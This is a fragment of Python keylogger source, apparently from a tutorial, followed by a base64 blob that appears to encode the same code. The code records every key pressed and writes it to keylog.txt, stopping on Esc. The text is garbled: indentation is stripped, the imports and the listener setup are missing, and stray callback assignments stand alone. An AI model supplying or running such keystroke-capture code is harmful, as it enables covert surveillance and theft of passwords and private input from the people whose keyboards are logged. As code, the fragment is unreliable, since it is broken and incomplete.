# creating an empty list to store pressed keys
the_keys = []
# creating a function that defines what to do on each key press
def functionPerKey(key):
# appending each pressed key to a list
the_keys.append(key)
# writing list to file after each key pressed
storeKeysToFile(the_keys)
# defining the function to write keys to the log file
def storeKeysToFile(keys):
# creating the keylog.txt file with write mode
with open('keylog.txt', 'w') as log:
# looping through each key present in the list of keys
for the_key in keys:
# converting the key to string and removing the quotation marks
the_key = str(the_key).replace("'", "")
# writing each key to the keylog.txt file
log.write(the_key)
# defining the function to perform operation on each key release
def onEachKeyRelease(the_key):
# In case, the key is "Esc" then stopping the keylogger
if the_key == Key.esc:
return False
on_press = functionPerKey,
on_release = onEachKeyRelease
CiAgCiMgY3JlYXRpbmcgYW4gZW1wdHkgbGlzdCB0byBzdG9yZSBwcmVzc2VkIGtleXMgIAp0aGVfa2V5cyA9IFtdICAKIyBjcmVhdGluZyBhIGZ1bmN0aW9uIHRoYXQgZGVmaW5lcyB3aGF0IHRvIGRvIG9uIGVhY2gga2V5IHByZXNzICAKZGVmIGZ1bmN0aW9uUGVyS2V5KGtleSk6ICAKIyBhcHBlbmRpbmcgZWFjaCBwcmVzc2VkIGtleSB0byBhIGxpc3QgIAogICAgdGhlX2tleXMuYXBwZW5kKGtleSkgIAojIHdyaXRpbmcgbGlzdCB0byBmaWxlIGFmdGVyIGVhY2gga2V5IHByZXNzZWQgIAogICAgc3RvcmVLZXlzVG9GaWxlKHRoZV9rZXlzKSAgCiAgCiMgZGVmaW5pbmcgdGhlIGZ1bmN0aW9uIHRvIHdyaXRlIGtleXMgdG8gdGhlIGxvZyBmaWxlICAKZGVmIHN0b3JlS2V5c1RvRmlsZShrZXlzKTogIAogICAgIyBjcmVhdGluZyB0aGUga2V5bG9nLnR4dCBmaWxlIHdpdGggd3JpdGUgbW9kZSAgCiAgICB3aXRoIG9wZW4oJ2tleWxvZy50eHQnLCAndycpIGFzIGxvZzogIAogICAgICAgICMgbG9vcGluZyB0aHJvdWdoIGVhY2gga2V5IHByZXNlbnQgaW4gdGhlIGxpc3Qgb2Yga2V5cyAgCiAgICAgICAgZm9yIHRoZV9rZXkgaW4ga2V5czogIAogICAgICAgICAgICAjIGNvbnZlcnRpbmcgdGhlIGtleSB0byBzdHJpbmcgYW5kIHJlbW92aW5nIHRoZSBxdW90YXRpb24gbWFya3MgIAogICAgICAgICAgICB0aGVfa2V5ID0gc3RyKHRoZV9rZXkpLnJlcGxhY2UoIiciLCAiIikgIAogICAgICAgICAgICAjIHdyaXRpbmcgZWFjaCBrZXkgdG8gdGhlIGtleWxvZy50eHQgZmlsZSAgCiAgICAgICAgICAgIGxvZy53cml0ZSh0aGVfa2V5KSAgCiAgCiMgZGVmaW5pbmcgdGhlIGZ1bmN0aW9uIHRvIHBlcmZvcm0gb3BlcmF0aW9uIG9uIGVhY2gga2V5IHJlbGVhc2UgIApkZWYgb25FYWNoS2V5UmVsZWFzZSh0aGVfa2V5KTogIAogICAgIyBJbiBjYXNlLCB0aGUga2V5IGlzICJFc2MiIHRoZW4gc3RvcHBpbmcgdGhlIGtleWxvZ2dlciAgCiAgICBpZiB0aGVfa2V5ID09IEtleS5lc2M6ICAKICAgICAgICByZXR1cm4gRmFsc2UgIAogIAoKICAgIG9uX3ByZXNzID0gZnVuY3Rpb25QZXJLZXksICAKICAgIG9uX3JlbGVhc2UgPSBvbkVhY2hLZXlSZWxlYXNlICAK